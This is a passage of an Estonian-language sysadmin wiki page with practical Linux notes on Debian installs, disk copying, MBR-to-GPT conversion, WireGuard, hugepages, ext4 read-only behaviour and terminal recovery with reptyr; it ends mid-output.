&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://github.com/miniwark/miniwark-howtos/wiki/Hardware-Watchdog-Timer-setup-on-Ubuntu-12.04&lt;br /&gt;
* http://odroid.com/dokuwiki/doku.php?id=en:odroid_linux_watchdog&lt;br /&gt;
* https://pve.proxmox.com/wiki/High_Availability&lt;br /&gt;
* https://pve.proxmox.com/wiki/High_Availability_Cluster_4.x&lt;br /&gt;
* https://lesterlo.wordpress.com/2017/06/23/enable-ipmi-watchdog/&lt;br /&gt;
* http://www.madore.org/~david/linux/iTCO-wdt-test.html&lt;br /&gt;
* https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/virtualization_administration_guide/section-libvirt-dom-xml-watchdog&lt;br /&gt;
* https://casesup.com/using-the-nmi-watchdog-to-detect-hangs/&lt;br /&gt;
* https://gist.githubusercontent.com/wmealing/5523247/raw/4dc0474cabc35a9b79cd49fc7eab1f027ea80606/nmi-interrupts.txt&lt;br /&gt;
* https://github.com/spotify/linux/blob/master/Documentation/nmi_watchdog.txt&lt;br /&gt;
&lt;br /&gt;
===Softdog===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
* Kopeerimise kiiruse kontrollimine pipe peal&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pv&lt;br /&gt;
 # ssh root@192.168.112.113 'cd /tmp &amp;amp;&amp;amp; dd if=/dev/pve/vm-109-disk-1 bs=1M' | pv -L 15m | dd of=/dev/kvmvg/vm-1019-disk-1 bs=1M&lt;br /&gt;
&lt;br /&gt;
===Viber===&lt;br /&gt;
&lt;br /&gt;
Viber https://www.viber.com/ on suhtlemistarkvara, paigaldamiseks sobib öelda nt Debian v. 8 ja v. 9 keskkonnas&lt;br /&gt;
&lt;br /&gt;
 # apt-get install libxcb-xkb1 libxcb-icccm4 libxcb-image0 libxcb-render-util0&lt;br /&gt;
 # apt-get install libqt5gui5&lt;br /&gt;
 # dpkg -i viber.com&lt;br /&gt;
&lt;br /&gt;
ja käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 $ /opt/viber/Viber&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://daksaitay.noblogs.org/post/2017/01/17/viber-on-debian-8-jessie-desktop/&lt;br /&gt;
* http://www.roydoer.com/viber-on-ubuntu-14-04-64bit/&lt;br /&gt;
&lt;br /&gt;
===KeePassX===&lt;br /&gt;
&lt;br /&gt;
MÄRKUS 20190126 - tundub, et õigem projekt on https://en.wikipedia.org/wiki/KeePassXC (C nagu community ja paketinimi keepassxc)&lt;br /&gt;
&lt;br /&gt;
 # apt-get intall keepassx&lt;br /&gt;
&lt;br /&gt;
andmebaasi failinime lõpp on .kdbx&lt;br /&gt;
&lt;br /&gt;
===Password Gorilla===&lt;br /&gt;
&lt;br /&gt;
 # apt-get install password-gorilla&lt;br /&gt;
&lt;br /&gt;
andmebaasi failinime lõpp on .psafe3&lt;br /&gt;
&lt;br /&gt;
===2018 - Debian v. 9 Stretch paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Installeris menüüde läbimise näide&lt;br /&gt;
&lt;br /&gt;
* Installeri keel - &amp;quot;English&amp;quot;&lt;br /&gt;
* Select your location: Other &amp;gt; Europe &amp;gt; Estonia&lt;br /&gt;
* Configure locales - United States - en_US.UTF-8&lt;br /&gt;
* Keymap to use - Estonian&lt;br /&gt;
* Hostname - ühekohalinenimi (vist tulemus sõltub kas võrk eelnevalt just seadistati dhcp'ga, antud näites nii oli)&lt;br /&gt;
* Domain name - sise.moraal.ee&lt;br /&gt;
* Root password - parool&lt;br /&gt;
* User name - nimi&lt;br /&gt;
* User password - parool&lt;br /&gt;
* partitsioonimine (nt efi + lvm)&lt;br /&gt;
* Configure package manager - Estonia - ftp.ee.debian.org&lt;br /&gt;
* HTTP proxy - tühi&lt;br /&gt;
* Contest - no&lt;br /&gt;
* Software selection - OpenSSH server ja standard system utilities&lt;br /&gt;
* Reboot&lt;br /&gt;
&lt;br /&gt;
===2019 - Debian v. 10 Buster paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Installeris menüüde läbimise näide&lt;br /&gt;
&lt;br /&gt;
* Installeri keel - &amp;quot;English&amp;quot;&lt;br /&gt;
* Select your location: Other &amp;gt; Europe &amp;gt; Estonia&lt;br /&gt;
* Configure locales - United States - en_US.UTF-8&lt;br /&gt;
* Keymap to use - Estonian&lt;br /&gt;
* Hostname - ühekohalinenimi (vist tulemus sõltub kas võrk eelnevalt just seadistati dhcp'ga, antud näites nii oli)&lt;br /&gt;
* Domain name - sise.moraal.ee&lt;br /&gt;
* Root password - parool&lt;br /&gt;
* User name - nimi&lt;br /&gt;
* User password - parool&lt;br /&gt;
* partitsioonimine (nt efi + lvm)&lt;br /&gt;
* Configure package manager - Estonia - ftp.ee.debian.org&lt;br /&gt;
* HTTP proxy - tühi&lt;br /&gt;
* Contest - no&lt;br /&gt;
* Software selection - OpenSSH server ja standard system utilities&lt;br /&gt;
* Reboot&lt;br /&gt;
&lt;br /&gt;
===linux-perf===&lt;br /&gt;
&lt;br /&gt;
====Paigldamine====&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks sobib öeld&lt;br /&gt;
&lt;br /&gt;
 # apt-get install linux-perf&lt;br /&gt;
&lt;br /&gt;
====Kasutamine====&lt;br /&gt;
&lt;br /&gt;
perf.data faili salvestamine käesolevasse kataloogi&lt;br /&gt;
&lt;br /&gt;
 # /usr/bin/perf record -e sched:sched_process_exec -a&lt;br /&gt;
&lt;br /&gt;
Salvestatud andmete loetaval kujul esitamine&lt;br /&gt;
&lt;br /&gt;
 # /usr/bin/perf script --header&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://www.brendangregg.com/perf.html&lt;br /&gt;
&lt;br /&gt;
===Wireguard===&lt;br /&gt;
&lt;br /&gt;
====Debian v. 10 Buster====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Lisada buster-backports repo&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
Paigaldada buster-backports repost wireguard&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* paigaldatakse wireguard-dkms wireguard-tools wireguard&lt;br /&gt;
* paigaldatakse hulka bui&lt;br /&gt;
&lt;br /&gt;
====Debian v. 11 Bullseye====&lt;br /&gt;
&lt;br /&gt;
 # apt-get install wireguard&lt;br /&gt;
&lt;br /&gt;
====Debian v. 12 Bookworm====&lt;br /&gt;
&lt;br /&gt;
Töötamine paistab nö serveri poolel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@debian-vpn:~# systemctl status wg-quick@wg0&lt;br /&gt;
● wg-quick@wg0.service - WireGuard via wg-quick(8) for wg0&lt;br /&gt;
     Loaded: loaded (/lib/systemd/system/wg-quick@.service; enabled; preset: enabled)&lt;br /&gt;
     Active: active (exited) since Tue 2025-04-01 16:46:09 EEST; 9 months 19 days ago&lt;br /&gt;
       Docs: man:wg-quick(8)&lt;br /&gt;
             man:wg(8)&lt;br /&gt;
             https://www.wireguard.com/&lt;br /&gt;
             https://www.wireguard.com/quickstart/&lt;br /&gt;
             https://git.zx2c4.com/wireguard-tools/about/src/man/wg-quick.8&lt;br /&gt;
             https://git.zx2c4.com/wireguard-tools/about/src/man/wg.8&lt;br /&gt;
   Main PID: 7536 (code=exited, status=0/SUCCESS)&lt;br /&gt;
        CPU: 30ms&lt;br /&gt;
&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip link set mtu 1420 up dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.68/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.170/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.15/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.14/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.13/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.12/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.11/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.10/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn systemd[1]: Finished wg-quick@wg0.service - WireGuard via wg-quick(8) for wg0.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Seadistusfail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/wireguard/wg0.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===MBR -&amp;gt; GPT partitsioonitabeli teisendamine===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
* MBR partitsioonitabel hõlvab tavalisel lihtsal juhul plokkseadme esimsesed 512 Baiti&lt;br /&gt;
* GPT partitsioonitabel hõlvab tavaliselt plokkseadme esimsed ja viimased 34 * 512 Baiti&lt;br /&gt;
* tundub, et seoses uuema ajal 1 MBait piirile asjade sättimisega algab nii MBR kui GPT puhul esimene partitsioon 2048'ndal sektoril; st plokkseadme alguses on rikkalikult vaba ruumi teisendatud gpt jaoks; probleemiks võib olla, plokkseadme lõpus pole piisavalt vaba ruumi backup gpt jaoks&lt;br /&gt;
* sektori suurus on 512 Baiti&lt;br /&gt;
* MBR partitsioonitabelis on ühte partitsiooni puudutava sissekande suurus 16 baiti, millest 4 baiti ehk 16 bitti on kasutusel partitsiooni moodustavate sektorite hulga tähistamiseks (# echo 2^32*512/1024^3 | bc -&amp;gt; 2048 Gigabyte)&lt;br /&gt;
* GPT partitsioonitabelis on ühte partitsiooni puudutava sissekande suurus 128 baiti, millest 8 baiti ehk 64 bitti on kasutusel partitsiooni moodustavate sektorite hulga tähistamiseks (# echo 2^64*512/1024^3 | bc -&amp;gt; väga palju)&lt;br /&gt;
* muudatuse käigus partitsioone moodustavaid plokke plokkseadmel ümber ei paigutata&lt;br /&gt;
* kui mbr partitsioonitabelis on kasutusel ainult primaarsed partitsioonid ning ilma nö aukudeta partitsioonide vahel, siis on tulemuseks samuti ilma aukudeta üksteisele järgnevad gpt partitsioonid&lt;br /&gt;
* antud tekst ei kästile seda, aga boot kood asub mbr puhul esimeses 446 baidis&lt;br /&gt;
* gpt puhul põhimõtteliselt boot koodi ei ole kasutusel uefi põhises süsteemis (kasutatakse efi partitsiooni)&lt;br /&gt;
&lt;br /&gt;
====Teisendamine====&lt;br /&gt;
&lt;br /&gt;
Olgu lähtepunktiks selline plokkseadme kasutus, mbr partitsioonitabel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# fdisk /dev/vdc -l&lt;br /&gt;
&lt;br /&gt;
Disk /dev/vdc: 16 GiB, 17179869184 bytes, 33554432 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disklabel type: dos&lt;br /&gt;
Disk identifier: 0xdaa60afa&lt;br /&gt;
&lt;br /&gt;
Device     Boot Start      End  Sectors  Size Id Type&lt;br /&gt;
/dev/vdc1        2048 33097727 33095680 15.8G 83 Linux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning partitsioonil üks ext4 failisüsteem, mis on monteeritud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# df -h -T /dev/vdc1&lt;br /&gt;
Filesystem     Type  Size  Used Avail Use% Mounted on&lt;br /&gt;
/dev/vdc1      ext4   16G  1.7G   13G  12% /mnt/vdc1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Eesmärk on teisendada partitsioonitabel gpt kujule säilitades seejuures failisüsteemi sisu. Selleks sobib kasutada sellist protseduuri, esmalt monteerida failisüsteem lahti&lt;br /&gt;
&lt;br /&gt;
 # umount /dev/vdc1&lt;br /&gt;
&lt;br /&gt;
seejärel teha mbr partitsioonitabelist varukoopia&lt;br /&gt;
&lt;br /&gt;
 # dd if=/dev/vdc of=backup.mbr bs=512 count=1&lt;br /&gt;
&lt;br /&gt;
gdisk ehk 'gpt fdisk' programm sobib gpt partitsioonitabeli haldamiseks, sealhulgas vaikimisi ta püüab mbr partitsioonitabeli teisendada gpt kujule. See on tehniliselt tavaliselt võimalik kuna mbr asub plokkseadme alguses ja seal on nö kasutamata ruumi.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# gdisk /dev/vdc&lt;br /&gt;
GPT fdisk (gdisk) version 0.8.10&lt;br /&gt;
&lt;br /&gt;
Partition table scan:&lt;br /&gt;
  MBR: MBR only&lt;br /&gt;
  BSD: not present&lt;br /&gt;
  APM: not present&lt;br /&gt;
  GPT: not present&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
***************************************************************&lt;br /&gt;
Found invalid GPT and valid MBR; converting MBR to GPT format&lt;br /&gt;
in memory. THIS OPERATION IS POTENTIALLY DESTRUCTIVE! Exit by&lt;br /&gt;
typing 'q' if you don't want to convert your MBR partitions&lt;br /&gt;
to GPT format!&lt;br /&gt;
***************************************************************&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Command (? for help): w&lt;br /&gt;
&lt;br /&gt;
Final checks complete. About to write GPT data. THIS WILL OVERWRITE EXISTING&lt;br /&gt;
PARTITIONS!!&lt;br /&gt;
&lt;br /&gt;
Do you want to proceed? (Y/N): Y&lt;br /&gt;
OK; writing new GUID partition table (GPT) to /dev/vdc.&lt;br /&gt;
The operation has completed successfully.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* programm tuvastab esmalt, et plokkseadmel on kasutusel MBR partitsioonitabel&lt;br /&gt;
* w abil tehakse muudatus&lt;br /&gt;
* Y abil kirjutatakse muudatus üles&lt;br /&gt;
&lt;br /&gt;
Kuna Linux operatsioonisüsteemi puhul eristatakse plokkseadmel ja mälus olevat seisu plokkseadme kasutusest, siis tuleks täielikuks muudatuse kehtestamiseks teha lihtsalt reboot arvutile või öelda&lt;br /&gt;
&lt;br /&gt;
 # partprobe /dev/vdc&lt;br /&gt;
&lt;br /&gt;
Tulemusena kasutatakse plokkseadmel gpt partitsioonitabelit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# fdisk /dev/vdc -l&lt;br /&gt;
&lt;br /&gt;
Disk /dev/vdc: 16 GiB, 17179869184 bytes, 33554432 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disklabel type: gpt&lt;br /&gt;
Disk identifier: 469E6D74-0022-4200-B0FD-2C5FAED7DCAD&lt;br /&gt;
&lt;br /&gt;
Device     Start      End  Sectors  Size Type&lt;br /&gt;
/dev/vdc1   2048 33302527 33300480 15.9G Linux filesystem&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Muudatuse tagasivõtmine====&lt;br /&gt;
&lt;br /&gt;
Muudatuse tagasivõtmiseks sobib öelda (kuigi nii jääb alles plokkseadme lõppu gpt backup; teatud bios'ide puhul võib see tekitada probleeme, bios on agar ja taastab selle alusel primaarse gpt partitsioonitabeli)&lt;br /&gt;
&lt;br /&gt;
 # umount /mnt/vdc1&lt;br /&gt;
 # dd if=backup.mbr of=/dev/vdc bs=512 count=1&lt;br /&gt;
 # partprobe /dev/vdc&lt;br /&gt;
 # mount /dev/vdc1 /mnt/vdc1&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://easylinuxji.blogspot.com/2018/12/what-is-disk-partitioning-disk.html&lt;br /&gt;
* https://dannyda.com/2021/05/07/how-to-convert-ubuntu-20-04-1-lts-os-disk-from-mbr-to-gpt-gpt-to-mbr-without-losing-data/&lt;br /&gt;
* http://www.rodsbooks.com/gdisk/mbr2gpt.html&lt;br /&gt;
&lt;br /&gt;
===Kasutajakonto operatsioonid===&lt;br /&gt;
&lt;br /&gt;
Konto lukustamine kusjuures see takistab ainult parooliga autentimist, nt ssh võtmega saab sisse&lt;br /&gt;
&lt;br /&gt;
 # passwd -l kasutajanimi&lt;br /&gt;
 # passwd -u kasutajanimi&lt;br /&gt;
&lt;br /&gt;
Konto expire, see takistab igasuguseid kanaleid (eeldab, et pam vms on seadistatud expirega tegelema)&lt;br /&gt;
&lt;br /&gt;
 # usermod --expiredate 1 kasutajanimi&lt;br /&gt;
&lt;br /&gt;
===grep kasutamine===&lt;br /&gt;
&lt;br /&gt;
Perl regulaaravalidsega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
TODO&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Järjestikulised grep'id ei toimi vahel, aitab nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# tail -f /var/log/pveproxy/access.log  | grep --line-buffered &amp;quot;PUT&amp;quot; | grep --line-buffered firewall | grep --line-buffered option&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Debian v. 12 ext4 failisüsteem read-only olekus===&lt;br /&gt;
&lt;br /&gt;
Tundub, et kõige tavalisem Debian v. 12 paigaldus, mis kasutab ext4 failisüsteemi (lvm kihi peal) käitub read-only olekus selliselt, et avatud failidesse mingil määral näiliselt kirjutamised jätkuvad. Seejuures kirjutajale jääb mulje, et kirjutamine õnnestus lõpetada edukalt. (Samal ajal uusi faile ei saa tekitada, olemasolevate failide muutmisi ei saa alustada.) Nähtuse jälgimiseks-taaskordamiseks-esilekutsumiseks sobib selline protseduur&lt;br /&gt;
&lt;br /&gt;
1. Proxmox PVE keskkonnas töötab lvm põhisel storage'l Debian v. 12 virtuaalne arvuti; arvutis on kasutusel lvm ja sellel ext4 failisüsteem (lvm ei ole oluline)&lt;br /&gt;
&lt;br /&gt;
2. Alustatakse eemalt pv abil piiratud kiirusega faili kopeerimist (etteruttavalt on siin toodud ära ka kopeeriv cat programmi edukas exit code; fail.img-4 on 36 MB suur)&lt;br /&gt;
&lt;br /&gt;
 $ cat fail.img-4 | ssh root@192.168.110.246 'pv -q -L3500K | cat &amp;gt; /root/tere4; echo $?' &lt;br /&gt;
 0&lt;br /&gt;
&lt;br /&gt;
3. umbes kolmveerandi kopeerimise pealt viiakse PVE host peal virtuaalsele arvutile vastav plokkseade read-only olekusse&lt;br /&gt;
&lt;br /&gt;
 # lvchange -pr vg_data/vm-615-disk-2&lt;br /&gt;
&lt;br /&gt;
4. ootus on, et virtuaalne arvuti reageerib sellele oma juurfailisüsteemi read-only olekusse lülitamisega&lt;br /&gt;
&lt;br /&gt;
5. ootus on, et kopeerimine lõpeb edukalt&lt;br /&gt;
&lt;br /&gt;
6. ootus on, et vaatamata read only olekule Debian operatsioonisüsteemi saab veel natuke kasutada, ja küsida (tulemus klapib orig fail.img-4 failiga)&lt;br /&gt;
&lt;br /&gt;
 # sha256sum /root/tere4&lt;br /&gt;
&lt;br /&gt;
7. virtuaalne arvuti stop'itakse PVE abil&lt;br /&gt;
&lt;br /&gt;
8. viiakse plokkseade tagasi rw režiimi&lt;br /&gt;
&lt;br /&gt;
 # lvchange -prw vg_data/vm-615-disk-2 &lt;br /&gt;
&lt;br /&gt;
9. käivitatakse virtuaalne arvuti&lt;br /&gt;
&lt;br /&gt;
10. kõnealune fail, mis näiliselt õnnestus edukalt kopeerida, on väiksema suurusega (või suurusega null)&lt;br /&gt;
&lt;br /&gt;
Märkused&lt;br /&gt;
&lt;br /&gt;
* analoogselt käitub Ubuntu v. 22.04&lt;br /&gt;
* Ubuntu v. 22.04 (ja tõenäoliselt Debian v. 12) + ext3 failisüsteem nö hoiavad kinni read-only lubadusest ja sellist nähtust ei toimu&lt;br /&gt;
* Vanemad Ubuntu ja Debian versioonid hoiavad kinni read-only lubadusest ja sellist nähtust ei toimu&lt;br /&gt;
* PVE host peal lvchange ütlemisele alternatiiviks on virtuaalse arvuti siseselt öelda&lt;br /&gt;
&lt;br /&gt;
 # echo u &amp;gt; /proc/sysrq-trigger&lt;br /&gt;
&lt;br /&gt;
* lisaks PVE keskkonnale toimub analoogiline nähtus vmware virtuaalse arvutiga&lt;br /&gt;
&lt;br /&gt;
===machine-id reset===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# rm /etc/machine-id /var/lib/dbus/machine-id&lt;br /&gt;
# dbus-uuidgen | tee /etc/machine-id &amp;gt; /var/lib/dbus/machine-id&lt;br /&gt;
# chmod 0444 /etc/machine-id&lt;br /&gt;
# ls -ld /etc/machine-id /var/lib/dbus/machine-id&lt;br /&gt;
-r--r--r-- 1 root root 33 Apr  7 19:18 /etc/machine-id&lt;br /&gt;
-rw-r--r-- 1 root root 33 Apr  7 19:18 /var/lib/dbus/machine-id&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Hugepages===&lt;br /&gt;
&lt;br /&gt;
* TLB - Translation Lookaside Buffer&lt;br /&gt;
* THP - Transparent Huge Pages&lt;br /&gt;
&lt;br /&gt;
Nö tavalises proxmox pve arvutis on selline hugepagendus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pm60-trt:~# df -a -t hugetlbfs&lt;br /&gt;
Filesystem     1K-blocks  Used Available Use% Mounted on&lt;br /&gt;
hugetlbfs              0     0         0    - /dev/hugepages&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tundub, et niipea kui käivitatakse virtuaalne arvuti, mis sisaldab parameetrit 'hugepages: ...' tekitatakse kaks juurde&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# df -a -t hugetlbfs&lt;br /&gt;
Filesystem     1K-blocks  Used Available Use% Mounted on&lt;br /&gt;
hugetlbfs              0     0         0    - /dev/hugepages&lt;br /&gt;
hugetlbfs              0     0         0    - /run/hugepages/kvm/2048kB&lt;br /&gt;
hugetlbfs              0     0         0    - /run/hugepages/kvm/1048576kB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning seda tehakse läbi nö käigult konstrueeritud systemd mount unitite&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# systemctl | grep huge&lt;br /&gt;
  dev-hugepages.mount                                                                                           loaded active     mounted   Huge Pages File System&lt;br /&gt;
  run-hugepages-kvm-1048576kB.mount                                                                             loaded active     mounted   /run/hugepages/kvm/1048576kB&lt;br /&gt;
  run-hugepages-kvm-2048kB.mount                                                                                loaded active     mounted   /run/hugepages/kvm/2048kB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Üks viis 1G hugepagendust lähtestada on kasutades sellist kernel-command-line'i&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# cat /proc/cmdline &lt;br /&gt;
initrd=\EFI\proxmox\6.8.8-2-pve\initrd.img-6.8.8-2-pve root=ZFS=rpool/ROOT/pve-1 boot=zfs default_hugepagesz=1G hugepagesz=1G hugepages=24&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena paistab&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# grep -i huge /proc/meminfo &lt;br /&gt;
AnonHugePages:         0 kB&lt;br /&gt;
ShmemHugePages:        0 kB&lt;br /&gt;
FileHugePages:         0 kB&lt;br /&gt;
HugePages_Total:      24&lt;br /&gt;
HugePages_Free:       24&lt;br /&gt;
HugePages_Rsvd:        0&lt;br /&gt;
HugePages_Surp:        0&lt;br /&gt;
Hugepagesize:    1048576 kB&lt;br /&gt;
Hugetlb:        25165824 kB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# hugeadm --explain&lt;br /&gt;
Total System Memory: 192906 MB&lt;br /&gt;
&lt;br /&gt;
Mount Point                  Options&lt;br /&gt;
/dev/hugepages               rw,relatime,pagesize=1024M&lt;br /&gt;
/run/hugepages/kvm/2048kB    rw,relatime,pagesize=2M&lt;br /&gt;
/run/hugepages/kvm/1048576kB rw,relatime,pagesize=1024M&lt;br /&gt;
&lt;br /&gt;
Huge page pools:&lt;br /&gt;
      Size  Minimum  Current  Maximum  Default&lt;br /&gt;
   2097152        0        0        0         &lt;br /&gt;
1073741824       24       24       24        *&lt;br /&gt;
&lt;br /&gt;
Huge page sizes with configured pools:&lt;br /&gt;
1073741824&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.postgresql.org/images/7/7d/PostgreSQL_and_Huge_pages_-_PGConf.2019.pdf&lt;br /&gt;
* https://pganalyze.com/blog/5mins-postgres-tuning-huge-pages&lt;br /&gt;
&lt;br /&gt;
===reptyr===&lt;br /&gt;
&lt;br /&gt;
reptyr ehk reparenting-terminal võimaldab saada uuesti kontakti kaotatud kuid eksisteeriva terminaliga. Paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install reptyr&lt;br /&gt;
&lt;br /&gt;
Nt apt-get dist-upgrade programm käivitati, aga füüsiline konsool millelt seda tehti riknes. Mujalt arvutisse logides võib olla dist-upgrade tegevus peatunud nt sellises kohas&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# tail -f /var/log/apt/term.log&lt;br /&gt;
...&lt;br /&gt;
No DKMS packages installed: not changing Secure Boot validation state.&lt;br /&gt;
Setting up libmpc3:amd64 (1.3.1-1) ...&lt;br /&gt;
Setting up systemd-timesyncd (252.30-1~deb12u2) ...&lt;br /&gt;
&lt;br /&gt;
Configuration file '/etc/systemd/timesyncd.conf'&lt;br /&gt;
 ==&amp;gt; Modified (by you or by a script) since installation.&lt;br /&gt;
 ==&amp;gt; Package distributor has shipped an updated version.&lt;br /&gt;
   What would you like to do about it ?  Your options are:&lt;br /&gt;
    Y or I  : install the package maintainer's version&lt;br /&gt;
    N or O  : keep your currently-installed version&lt;br /&gt;
      D     : show the differences between the versions&lt;br /&gt;
      Z     : start a shell to examine the situation&lt;br /&gt;
 The default action is to keep your current version.&lt;br /&gt;
*** timesyncd.conf (Y/I/N/O/D/Z) [default=N] ? &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ning terminali olukord&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@tm-tartu-x470:~# ps auxf | less -N&lt;br /&gt;
..&lt;br /&gt;
    135 root        1097  0.0  1.8  74500 18448 ?        S    Oct13   0:05 apt-get dist-upgrade&lt;br /&gt;
    136 root       23408  0.0  0.6  11768  6388 pts/1    Ss+  Oct13   0:01  \_ /usr/bin/dpkg --status-fd 25 --configure --&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Osutub, et terminaliga saab taas kontakti öeldes, ja jätkates seejärel sisestusi peatunud kohast. NB! reptyr töötamine jätkub nö pimedast kohast, klaviatuurilt tuleb sisestada nii nagu asjakohane, nt antud juhul Enter sobib küsimusele 'timesyncd.conf (Y/I/N/O/D/Z) [default=N]' eitavalt vastamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@tm-tartu-x470:~# /home/imre/reptyr 23408&lt;br /&gt;
[-] Timed out waiting for child stop.&lt;br /&gt;
&lt;br /&gt;
Setting up libevent-core-2.1-7:amd64 (2.1.12-stable-8) ...&lt;br /&gt;
Setting up libatomic1:amd64 (12.2.0-14) ...&lt;br /&gt;
Setting up libvariable-magic-perl (0.63-1+b1) ...&lt;br /&gt;
Setting up udev (252.30-1~deb12u2) ...&lt;br /&gt;
Setting up libevent-2.1-7:amd64 (2.1.12-stable-8) ...&lt;br /&gt;
